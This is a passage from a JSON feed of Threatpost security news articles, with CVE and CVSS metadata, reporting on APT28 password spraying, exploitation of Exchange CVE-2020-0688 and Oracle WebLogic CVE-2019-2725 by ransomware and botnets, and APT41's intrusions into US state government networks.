[Tor](<https://threatpost.com/unencrypted-mobile-traffic-tor-network-leaks-pii/149200/>) or a VPN, the actors are sometimes using nodes in the Kubernetes cluster.\n\nGiven the \u201cscalable nature of the password spray-capability,\u201d specific indicators of compromise (IOC) can be easily altered to bypass IOC-based mitigation, the advisory explained. Thus, while the advisory lists specific indicators, authorities also advised organizations to consider denying all inbound traffic from known Tor nodes and public VPN services to Exchange servers or portals that don\u2019t normally see that kind of access.\n\n## Mitigations\n\nBeyond authorities\u2019 suggestion to consider shutting off the spigot on Tor and VPN services where that makes sense, the advisory also listed a number of standard and not-so-standard mitigations, summed up in an executive summary:\n\n\u201cNetwork managers should adopt and expand usage of multi-factor authentication to help counter the effectiveness of this capability. Additional mitigations to ensure strong access controls include time-out and lock-out features, the mandatory use of strong passwords, implementation of a Zero Trust security model that uses additional attributes when determining access, and analytics to detect anomalous accesses.\u201d\n\nBut one expert \u2013 Tom (TJ) Jermoluk, CEO and co-founder of Beyond Identity, raised a hairy eyeball at the notion that stronger passwords can do anything to protect against password spraying, particularly when it comes on top of a concerted effort to gather valid credentials.\n\n\u201cRussian GRU agents and other state actors like those involved in SolarWinds \u2013 and a range of financially motivated attackers (e.g., ransomware) \u2013 all use the same \u2018password spraying\u2019 brute force techniques,\u201d he told Threatpost in an email on Friday. \u201cWhy? Because they are so effective. Unfortunately, a misunderstanding of this technique is leading to shockingly flawed advice like that given in the NSA advisory which, in part, recommends \u2018mandating the use of stronger passwords.'\u201d\n\nHe added, \u201cThe credential-gathering that preceded the password spraying campaign most certainly collected short and strong passwords. And the Russian Kubernetes cluster used in the attack was capable of spraying \u2018strong passwords.'\u201d\n\n## The Continuing Threat\n\nOn Friday, Russia\u2019s embassy in Washington issued a statement on [Facebook](<https://www.facebook.com/RusEmbUSA>) in which it \u201ccategorically\u201d rejected the allegations, noting that \u201cWe emphasize that fighting against cybercrime is an inherent priority for Russia and an integral part of its state policy to combat all forms of crime.\u201d\n\nJust a few of the recent campaigns attributed to Russia\u2019s military unit:\n\n**April 2021**: The [NSA linked APT29 ](<https://threatpost.com/nsa-security-bugs-active-nation-state-cyberattack/165446/>)to Russia\u2019s Foreign Intelligence Services (SVR), as the U.S. formally attributed the recent [SolarWinds supply-chain attacks](<https://threatpost.com/solarwinds-orion-bug-remote-code-execution/163618/>) to the SVR and issued sanctions on Russia for cyberattacks and what President Biden called out as interference with U.S. elections.\n\n**November 2020: **Microsoft reported that APT28 joined in the feeding frenzy as one of three major APTs that [went after pharma](<https://threatpost.com/russia-north-korea-attacking-covid-19-vaccine-makers/161205/>) and clinical organizations involved in COVID-19 research.\n\n**September 2020**: Microsoft issued a warning that members of the Russian military unit were attempting to [harvest Office 365](<https://threatpost.com/apt28-theft-office365-logins/159195/>) credentials in the runup to U.S. elections, targeting mainly election-related organizations. The company noted at the time that the group had attacked more than 200 organizations last year, including political campaigns, advocacy groups, parties and political consultants. Those targets included think-tanks such as The German Marshall Fund of the United States, The European People\u2019s Party, and various U.S.-based consultants serving Republicans and Democrats.\n\nSaying that we can\u2019t let down our guards would be quite the understatement, according to Check Point spokesperson Ekram Ahmed: \u201cGRU continues to be a threat that we can\u2019t ignore,\u201d he observed to Threatpost on Friday. \u201cThe scale, reach and pace of their operations are alarming, especially with the 2021 Summer Olympics around the corner.\u201d\n\nIn fact, in October 2020, the U.K.\u2019s NCSC, in a joint operation with U.S. intelligence, said that that\u2019s exactly what was in the works, accusing Russian military intelligence services of [planning a cyberattack](<https://www.theguardian.com/world/2020/oct/19/russia-planned-cyber-attack-on-tokyo-olympics-says-uk>) on the [Japanese-hosted Olympics](<https://www.sportingnews.com/au/other-sports/news/tokyo-olympic-games-2021-will-they-go-ahead/1gv928rhuuo0o1ucb6481onp4m>), scheduled to start in three weeks on July 23 after having been postponed due to the pandemic.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-02T16:14:14", "type": "threatpost", "title": "Kubernetes Used in Brute-Force Attacks Tied to Russia\u2019s APT28", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "modified": "2021-07-02T16:14:14", "id": "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "href": "https://threatpost.com/kubernetes-brute-force-attacks-russia-apt28/167518/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:11:08", "description": "Over half of exposed Exchange servers are still vulnerable to a severe bug that allows authenticated attackers to execute code remotely with system privileges \u2013 even eight months after Microsoft issued a fix.\n\nThe vulnerability in question ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) exists in the control panel of Exchange, Microsoft\u2019s mail server and calendaring server. The flaw, which stems from the server failing to properly create unique keys at install time, was fixed as part of Microsoft\u2019s [February Patch Tuesday](<https://threatpost.com/microsoft-active-attacks-air-gap-99-patches/152807/>) updates \u2013 and [admins in March were warned](<https://threatpost.com/microsoft-exchange-server-flaw-exploited-in-apt-attacks/153527/>) that unpatched servers are being exploited in the wild by unnamed advanced persistent threat (APT) actors.\n\nHowever, new telemetry found that out of 433,464 internet-facing Exchange servers observed, at least 61 percent of Exchange 2010, 2013, 2016 and 2019 servers are still vulnerable to the flaw.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThere are two important efforts that Exchange administrators and infosec teams need to undertake: verifying deployment of the update and checking for signs of compromise,\u201d said Tom Sellers with Rapid7 [in a Tuesday analysis](<https://blog.rapid7.com/2020/04/06/phishing-for-system-on-microsoft-exchange-cve-2020-0688/>).\n\n> Speaking of Exchange, we took another look at Exchange CVE-2020-0688 (any user -> SYSTEM on OWA). \n> \n> It's STILL 61% unpatched. \n> \n> This is dangerous as hell and there is a reliable Metasploit module for it.\n> \n> See the UPDATED information on the ORIGINAL blog:<https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [September 29, 2020](<https://twitter.com/TomSellers/status/1310991824828407808?ref_src=twsrc%5Etfw>)\n\nResearchers warned [in a March advisory](<https://www.volexity.com/blog/2020/03/06/microsoft-exchange-control-panel-ecp-vulnerability-cve-2020-0688-exploited/>) that unpatched servers are being exploited in the wild by unnamed APT actors. Attacks [first started in late February](<https://www.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?utm_source=charge&utm_medium=social&utm_campaign=internal-comms>) and targeted \u201cnumerous affected organizations,\u201d researchers said. They observed attackers leverage the flaw to run system commands to conduct reconnaissance, deploy webshell backdoors and execute in-memory frameworks, post-exploitation.\n\n[Previously, in April](<https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/>), Rapid7 researchers found that more than 80 percent of servers were vulnerable; out of 433,464 internet-facing Exchange servers observed, at least 357,629 were open to the flaw (as of March 24). Researchers used Project Sonar, a scanning tool, to analyze internet-facing Exchange servers and sniff out which were vulnerable to the flaw.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/30094515/cve-2020-0688_vulnerability_status.png>)\n\nExchange build number distribution status for flaw. Credit: Rapid7\n\nSellers urged admins to verify that an update has been deployed. The most reliable method to do so is by checking patch-management software, vulnerability-management tools or the hosts themselves to determine whether the appropriate update has been installed, he said.\n\n\u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled,\u201d he said. \u201cThis will typically be servers with the Client Access Server (CAS) role, which is where your users would access the Outlook Web App (OWA).\u201d\n\nWith the ongoing activity, admins should also determine whether anyone has attempted to exploit the vulnerability in their environment. The exploit code that Sellers tested left log artifacts in the Windows Event Log and the IIS logs (which contain HTTP server API kernel-mode cache hits) on both patched and unpatched servers: \u201cThis log entry will include the compromised user account, as well as a very long error message that includes the text invalid viewstate,\u201d he said.\n\nAdmins can also review their IIS logs for requests to a path under /ecp (usually /ecp/default.aspx), Sellers said, These should contain the string __VIEWSTATE and __VIEWSTATEGENERATOR \u2013 and will have a long string in the middle of the request that is a portion of the exploit payload.\n\n\u201cYou will see the username of the compromised account name at the end of the log entry,\u201d he said. \u201cA quick review of the log entries just prior to the exploit attempt should show successful requests (HTTP code 200) to web pages under /owa and then under /ecp.\u201d\n\n**[On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** Get the latest information on the rising threats to retail e-commerce security and how to stop them. **[Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)** for this FREE Threatpost webinar, \u201c**[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this **[LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)**webinar.\n", "cvss3": {}, "published": "2020-09-30T14:34:00", "type": "threatpost", "title": "Microsoft Exchange Servers Still Open to Actively Exploited Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-5135"], "modified": "2020-09-30T14:34:00", "id": "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "href": "https://threatpost.com/microsoft-exchange-exploited-flaw/159669/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:51", "description": "A recently-disclosed critical vulnerability in Oracle WebLogic is being actively exploited in a slew of attacks, which are distributing a never-before-seen ransomware variant.\n\nThe recently-patched flaw exists in Oracle\u2019s WebLogic server, used for building and deploying enterprise applications. The deserialization vulnerability ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)\u200b) is being exploited to spread what researchers with Cisco Talos in a [Tuesday analysis](<https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html>) dubbed the \u201cSodinokibi\u201d ransomware.\n\n\u201cThis is the first time we have seen this ransomware being used in the wild,\u201d Jaeson Schultz, technical leader, at Cisco Talos, told Threatpost. \u201cThis new ransomware first emerged on April 26. Part of what makes this ransomware stick out is the fact that attackers were using a 0-day vulnerability to install it. Talos is continuing to analyze the ransomware itself. It\u2019s obfuscated and there are several anti-analysis tricks.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe critical flaw, which has a CVSS score of 9.8, is a remote code execution bug that is remotely exploitable without authentication. Impacted are versions 10.3.6.0.0 and 12.1.3.0.0 of the product. The flaw was patched on April 26 \u2013 but researchers said that attackers have been exploiting the flaw since April 21.\n\n\u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30140000/oracle-weblogic-flaw.png>)\n\nThe ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with a vulnerable Oracle WebLogic server.\n\nWhile Cisco Talos researchers would not disclose further details to Threatpost regarding the victim of this particular ransomware attack \u2013 such as the company size or industry \u2013 they said they do think multiple victims are being targeted.\n\n\u201cAttackers were ultimately successful at encrypting a number of customer systems during this incident,\u201d they said.\n\nWhile typically ransomware variants require some form of user interaction \u2013 such as opening an attachment to an email message or clicking on a malicious link, this incident was abnormal as attackers simply leveraged the Oracle WebLogic vulnerability, researchers said.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/04/30135836/ransomware-note.png>)\n\nRansomware Note\n\nOnce attackers found a vulnerable server, they sent an HTTP POST request to that server. The request contained a PowerShell command, which downloaded a file called \u201cradm.exe.\u201d That then saved the ransomware locally and executed it.\n\nOnce downloaded, the ransomware encrypted the victim\u2019s systems and displayed a ransom note to them, directing victims to a page on the Tor network to a domain (decryptor[.]top) the public web, which was registered on March 31 this year.\n\nAfter victims visited said pages, they were directed to create a Bitcoin wallet and purchase $2500 (USD) worth of Bitcoin. They then were directed to transfer the Bitcoin to an address provided by the attackers. After the transaction is confirmed on the Blockchain, the attackers updates the page with a link to download the decryptor, researchers told Threatpost.\n\nResearchers also noted that, once downloaded, the malicious file executed \u200bvssadmin.exe, a legitimate utility bundled with Windows that enables allows administrators to manage the shadow copies that are on the computer. Shadow copies are a technology that enables systems to take automatic backup copies of computer files.\n\nBecause attackers executed this feature, it allows them to access and delete the automatic backups \u2013 making it harder for victims to recover their data: \u201cThis action\u200b is a common [tactic] of ransomware to prevent users from easily recovering their data,\u201d researchers said. \u201cIt attempts to delete default Windows backup mechanisms, otherwise known as \u2018shadow copies,\u2019 to prevent recovery of the original files from these backups.\u201d\n\nWhile researchers told Threatpost they\u2019re not sure who is behind the attack, they did note that after the ransomware deployment, attackers followed up with an additional exploit attempt (of the CVE-2019-2725 vulnerability) approximately eight hours later.\n\nInterestingly, this attack utilized the infamous [Gandcrab ransomware](<https://threatpost.com/tag/gandcrab-ransomware/>) (v5.2), making researchers believe that the attacker is a Gandcrab ransomware affiliate member, Schultz told Threatpost.\n\n\u201cWe find it strange the attackers would choose to distribute additional, different ransomware on the same target,\u201d researchers said. \u201cSodinokibi being a new flavor of ransomware, perhaps the attackers felt their earlier attempts had been unsuccessful and were still looking to cash in by distributing Gandcrab.\u201d\n\nLooking forward, researchers said that they expect attacks on Oracle\u2019s WebLogic servers to increase, and urge users to update immediately. This flaw was not part of Oracle\u2019s regularly-scheduled quarterly patch earlier in [April](<https://threatpost.com/oracle-squashes-53-critical-bugs-in-april-security-update/143845/>), where it fixed 53 other critical vulnerabilities in Oracle products.\n\n\u201cDue to the ubiquity of Oracle WebLogic servers and the ease of exploitation of this vulnerability, Talos expects widespread attacks involving CVE-2019-2725,\u201d they said.\n", "cvss3": {}, "published": "2019-04-30T19:20:13", "type": "threatpost", "title": "New 'Sodinokibi' Ransomware Exploits Critical Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-04-30T19:20:13", "id": "THREATPOST:4DD624E32718A8990263A37199EEBD02", "href": "https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:51:46", "description": "UPDATE\n\nA variant of the Muhstik botnet has been uncovered in the wild, exploiting a recently-disclosed, dangerous vulnerability in Oracle WebLogic servers.\n\nThe newfound samples of Muhstik are targeting the [recently-patched CVE-2019-2725](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) in WebLogic servers, and then launching distributed-denial-of-service (DDoS) and cryptojacking attacks with the aim of making money for the attacker behind the botnet, researchers said.\n\n\u201cFrom the timeline, we can see that the developer of Muhstik watches aggressively for new Linux service vulnerability exploits and takes immediate action to [incorporate] exploits against them into the botnet,\u201d Cong Zheng and Yanhui Jia, researchers with Palo Alto Network\u2019s Unit 42 team, said in a [Tuesday analysis](<https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/>). \u201cThis makes sense, because the faster the botnet includes the new exploits, the greater chance of successfully using the vulnerability to harvest more bots before systems are patched.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nOracle WebLogic is a popular server used for building and deploying enterprise applications. The server\u2019s flaw ([CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>)), meanwhile, has a CVSS score of 9.8 and is a remote code-execution (RCE) bug that is exploitable without authentication. Oracle patched the flaw on April 26.\n\nHowever, researchers first observed exploit traffic for the WebLogic vulnerability coming from three new Muhstik samples on April 28. Muhstik, which has been around since March 2018 and has wormlike self-propagating capabilities, is known to compromise Linux servers and IoT devices, and then launch cryptocurrency mining software and DDoS attacks.\n\nThey saw the exploit traffic being sent from the IP address 165.227.78[.]159, which was transmitting one shell command, to download a PHP webshell.\n\nInterestingly, that IP address (165.227.78[.]159) has previously been used by the Muhstik botnet as a mere reporting server to collect information on bots \u2013 but now, the IP address appears to also be used as a payload host server.\n\nThe discovery shows that new samples of the Muhstik botnet continue to sniff out ripe exploits. The botnet had previously targeted an earlier WebLogic vulnerability ([CVE-2017-10271](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271>)), as well as WordPress and [Drupal vulnerabilities.](<https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/>)\n\nUnit 42 researchers told Threatpost that they didn\u2019t have further information on the number of servers impacted.\n\n## Oracle WebLogic\n\nThe latest Oracle WebLogic flaw, which impacts versions 10.3.6 and 12.1.3 of the server, is one such ripe target.\n\nThe flaw could allow an attacker to send a request to a WebLogic server, which would then reach out to a malicious host to complete the request, opening up the impacted server to an remote code-execution attack.\n\nOracle for its part is urging users to update as soon as possible. \u201cDue to the severity of this vulnerability, Oracle recommends that this Security Alert be applied as soon as possible,\u201d Eric Maurice, director of security assurance at Oracle, said in a [recent post](<https://blogs.oracle.com/security/security-alert-cve-2019-2725-released>) about the vulnerability.\n\nOracle didn\u2019t respond to a request for further comment from Threatpost.\n\nHowever, servers that haven\u2019t yet updated are being targeted by several other bad actors, including ones spreading a new [ransomware variant](<https://threatpost.com/new-sodinokibi-ransomware-exploits-critical-oracle-weblogic-flaw/144233/>) uncovered this week called \u201cSodinokibi.\u201d That ransomware first came onto researchers\u2019 radar on April 25 (the day before a patch was released), after attackers attempted to make an HTTP connection with vulnerable Oracle WebLogic servers.\n\nResearchers for their part warn of a slew of scans checking for the Oracle WebLogic vulnerability, and urge users to update their devices as soon as possible.\n\nhttps://twitter.com/bad_packets/status/1122356384849248258\n\nWhen it comes to Muhstik, Unit 42 researchers said that adding this latest exploit to the botnet\u2019s toolkit will increase the number of systems it can infect.\n\n\u201cThe Oracle WebLogic wls9-async RCE vulnerability is now being used by Muhstik botnet in the wild and there is a great possibility that it will be exploited by other malware families in the future,\u201d they said. \u201cUnder the pressure of racing with botnets, both service vendors and users should address new vulnerabilities by releasing patches and installing them respectively.\u201d\n\n_This article was updated on May 2 at 8 am ET to reflect Unit 42 comments._\n", "cvss3": {}, "published": "2019-05-01T14:11:11", "type": "threatpost", "title": "Muhstik Botnet Variant Targets Just-Patched Oracle WebLogic Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-10271", "CVE-2019-2725", "CVE-2020-0688"], "modified": "2019-05-01T14:11:11", "id": "THREATPOST:420EE567E806D93092741D7BB375AC57", "href": "https://threatpost.com/muhstik-botnet-variant-targets-just-patched-oracle-weblogic-flaw/144253/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-03-09T21:12:26", "description": "USAHerds \u2013 an app used ([PDF](<https://www.aphis.usda.gov/traceability/downloads/adt_states/CO.pdf>)) by farmers to speed their response to diseases and other threats to their livestock \u2013 has itself become an infection vector, used to pry open at least six U.S. state networks by one of China\u2019s most prolific state-sponsored espionage groups.\n\nIn a [report](<https://www.mandiant.com/resources/apt41-us-state-governments>) published by Mandiant on Tuesday, researchers described a prolonged incursion conducted by APT41. They detected the activity in May 2021 and tracked it through last month, February 2022, observing the spy group pry open vulnerable, internet-facing web apps that were often written in ASP.NET.\n\n[APT41](<https://threatpost.com/black-hat-linux-spyware-stack-chinese-apts/158092/>) \u2013 aka Winnti, Barium, [Wicked Panda](<https://threatpost.com/sidewalk-backdoor-china-espionage-grayfly/169310/>) or Wicked Spider \u2013 is an advanced persistent threat (APT) actor[ known for](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) nation state-backed [cyberespionage](<https://threatpost.com/china-hackers-spy-texts-messagetap-malware/149761/>), [supply-chain hits](<https://www.eset.com/us/about/newsroom/press-releases/eset-dissects-arsenal-of-supply-chain-attacks-by-the-winnti-group/>) and profit-driven cybercrime.\n\n## What\u2019s the Point?\n\nAPT41\u2019s goals are unknown, researchers said, though they\u2019ve observed evidence of the attackers exfiltrating personal identifiable information (PII).\n\n\u201cAlthough the victimology and targeting of PII data is consistent with an espionage operation, Mandiant cannot make a definitive assessment at this time given APT41\u2019s history of moonlighting for personal financial gain,\u201d they wrote.\n\nTher investigations have also revealed a slew of new techniques, malware variants, evasion methods and capabilities.\n\n\u201cIn most of the web application compromises, APT41 conducted .NET deserialization attacks; however, we have also observed APT41 exploiting SQL injection and directory traversal vulnerabilities,\u201d they said.\n\nA deserialization attack is one in which attackers exploit a vulnerability to insert malicious objects into a web app, while \u200b\u200bSQL injection is a type of attack that allows a cyberattacker to interfere with the queries that an application makes to its database.\n\nSQL injection attacks are typically carried out by inserting malicious SQL statements into an entry field used by the website (like a comment field). Directory traversal, aka path traversal, is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server\u2019s root directory.\n\n## Via Logs and a Cow-Tracking App\n\nTo hack into the states\u2019 neworks, the threat actor used a zero-day vulnerability ([CVE-2021-44207](<https://nvd.nist.gov/vuln/detail/CVE-2021-44207>)) in USAHerds (aka the Animal Health Emergency Reporting Diagnostic System), Mandiant reported. In the most recent campaigns, the actor also leveraged the now infamous zero-day in [Log4j](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) (CVE-2021-44228).\n\nThe USAHerd zero day flaw, which Acclaim Systems patched in November 2021, has to do with the app\u2019s use of hard-coded credentials to achieve remote code execution (RCE) on the system that runs it. The app is used in 18 states for animal health management.\n\nMandiant compared the bug to a previously reported vulnerability in Microsoft Exchange Server ([CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>)) \u2013 a bug that was still [under active attack](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) via ProxyShell attacks as of August 2021. The similarity between the two, researchers explained, is that \u201cthe applications used a static validationKey and decryptionKey (collectively known as the machineKey) by default.\u201d\n\nAs a result, all installations of USAHerds shared these values, researchers explained, which is a no-no, being \u201cagainst the best practice of using uniquely generated machineKey values per application instance.\u201d\n\n\u201cGenerating unique machineKey values is critical to the security of an ASP.NET web application because the values are used to secure the integrity of the ViewState,\u201d they cautioned.\n\nMandiant couldn\u2019t figure out how APT41 originally obtained the machineKey values for USAHerds, but once the threat actors got that machineKey, they used it to compromise \u201cany server on the Internet running USAHerds.\u201d\n\nThus, researchers said, there are likely more victims than the six state networks, though they don\u2019t know who or what those victims are.\n\nAs far as APT41\u2019s use of the trio of bugs collectively known as Log4Shell goes, it\u2019s hardly surprising: Within hours of the initial Log4J flaw\u2019s[ public disclosure](<https://threatpost.com/zero-day-in-ubiquitous-apache-log4j-tool-under-active-attack/176937/>) on Dec. 10, 2021,[ attackers](<https://threatpost.com/patching-time-log4j-exploits-vaccine/177017/>) were scanning for vulnerable servers and[ unleashing quickly evolving attacks](<https://threatpost.com/apache-log4j-log4shell-mutations/176962/>) to drop coin-miners, Cobalt Strike, the Orcus remote access trojan (RAT), reverse bash shells for future attacks,[ Mirai and other botnets](<https://threatpost.com/log4shell-attacks-origin-botnet/176977/>), and backdoors. By January 2022, Mirosoft was observing rampant Log4j [exploit attempts](<https://threatpost.com/microsoft-rampant-log4j-exploits-testing/177358/>) and testing.\n\nLog4Shell exploits cause Java to fetch and deserialize a remote Java object, resulting in potential code execution, Mandiant explained.\n\n\u201cSimilar to their previous web application targeting, APT41 continued to use [YSoSerial](<https://github.com/frohoff/ysoserial>) generated deserialization payloads to perform reconnaissance and deploy backdoors,\u201d according to the report.\n\n\u201cNotably, APT41 deployed a new variant of the[ KEYPLUG](<https://advantage.mandiant.com/malware/malware--4484e24c-fbf7-5894-90e2-4c6ed949ec6c>) backdoor on Linux servers at multiple victims, a malware sub-family we now track as[ KEYPLUG.LINUX](<https://advantage.mandiant.com/malware/malware--e9079969-5b46-5218-9915-3a6ebc566489>). KEYPLUG is a modular backdoor written in C++ that supports multiple network protocols for command and control (C2) traffic including HTTP, TCP, KCP over UDP, and WSS.\u201d\n\nAPT41 \u201cheavily\u201d used the Windows version of the KEYPLUG backdoor at state government victims between June 2021 and December 2021, researchers said. \u201cThus, the deployment of a ported version of the backdoor closely following the state government campaign was significant.\u201d\n\nAfter exploiting Log4Shell, the hackers continued to use deserialization payloads to issue ping commands to domains, researchers said: one of APT41\u2019s favorite techniques, which it used to go after government victims months prior.\n\nAfter the group got access to a targeted environment, \u201cAPT41 performed host and network reconnaissance before deploying KEYPLUG.LINUX to establish a foothold in the environment,\u201d Mandiant said. The cybersecurity firm gave sample commands, shown below, which were used to deploy KEYPLUG.LINUX.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09154416/Deployment-of-KEYPLUG.LINUX-Following-Log4j-Exploitation-e1646858693371.png>)\n\nDeployment of KEYPLUG.LINUX Following Log4j Exploitation. Source: Mandiant.\n\n## A Swarm of Attacks\n\nIn one incident wherein Mandiant researchers spotted APT41 using SQL injection vulnerability in a proprietary web application to gain access, the attempt was quickly corralled. But two weeks later, the actor came back to compromise the network by exploiting the USAHerds zero day.\n\nThe hackers were coming after state agencies in rapid-fire, repeat attacks, they said. \u201cIn two other instances, Mandiant began an investigation at one state agency only to find that APT41 had also compromised a separate, unrelated agency in the same state,\u201d according to Mandiant.\n\nThe APT was nimble, rapidly shifting to use publicly disclosed vulnerabilities to gain initial access into target networks, while also maintaining existing operations, according to the report.\n\nThe critical Log4J RCE vulnerability is a case in point: Within hours of the Dec. 10 advisory, APT41 began picking it apart. The attackers exploited Log4J to later compromise \u201cat least two U.S. state governments as well as their more traditional targets in the insurance and telecommunications industries,\u201d Mandiant said.\n\n## A Taste for States\n\nThen, late last month, APT41 circled back to re-compromis two previous U.S. state government victims. \u201cOur ongoing investigations show the activity closely aligns with APT41\u2019s May-December 2021 activity, representing a continuation of their campaign into 2022 and demonstrating their unceasing desire to access state government networks,\u201d according to the researchers.\n\nMandiant sketched out a timeline, replicated below, showing the attacks against state government networks.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/03/09151429/APT41_state_government_campaign_timeline-e1646857032834.jpg>)\n\nU.S. state government campaign timeline. Source: Mandiant.\n\n## APT 41 Still Quick on Its Feet\n\nMandiant outlined a catalog of updated tradecraft and new malware that shows that APT41 continues to be nimble, \u201chighly adaptable\u201d and \u201cresourceful.\u201d\n\n\u201cAPT41\u2019s recent activity against U.S. state governments consists of significant new capabilities, from new attack vectors to post-compromise tools and techniques,\u201d researchers concluded.\n\n\u201cAPT41 can quickly adapt their initial access techniques by re-compromising an environment through a different vector, or by rapidly operationalizing a fresh vulnerability. The group also demonstrates a willingness to retool and deploy capabilities through new attack vectors as opposed to holding onto them for future use,\u201d the researchers said.\n\nExploiting Log4J in close proximity to the USAHerds campaign is a case in point: it showed that the group\u2019s flexible when it comes to targeting U.S state governments \u201cthrough both cultivated and co-opted attack vectors,\u201d Mandiant said.\n\nSo much for the U.S. [indictment](<https://threatpost.com/apt41-operatives-indicted-hacking/159324/>) of five alleged APT41 members in September 2020: a grand jury move that was as easy for the group to hop over as a flattened cow patty.\n\n\u201cThe scope and sophistication of the crimes in these unsealed indictments is unprecedented. The alleged criminal scheme used actors in China and Malaysia to illegally hack, intrude and steal information from victims worldwide,\u201d said Michael Sherwin, acting U.S. attorney for the District of Columbia,[ in a DoJ statement](<https://www.justice.gov/opa/pr/seven-international-cyber-defendants-including-apt41-actors-charged-connection-computer>) accompanying the Federal grand jury\u2019s 2020 indictment. \u201cAs set forth in the charging documents, some of these criminal actors believed their association with the PRC provided them free license to hack and steal across the globe.\u201d\n\nSeventeen months later, that still sounds about right to Mandiant: \u201cAPT41 continues to be undeterred,\u201d in spite of whatever the U.S. Department of Justice cares to throw in its path, researchers said.\n\nRegister Today for [**Log4j Exploit: Lessons Learned and Risk Reduction Best Practices**](<https://bit.ly/3BXPL6S>) \u2013 a LIVE **Threatpost event** sked for Thurs., March 10 at 2PM ET. Join Sonatype code **expert Justin Young** as he helps you sharpen code-hunting skills to reduce attacker dwell time. Learn why Log4j is still dangerous and how SBOMs fit into software supply-chain security. [Register Now for this one-time FREE event](<https://bit.ly/3BXPL6S>), Sponsored by Sonatype.\n\n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-09T21:10:20", "type": "threatpost", "title": "APT41 Spies Broke Into 6 US State Networks via a Livestock App", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": 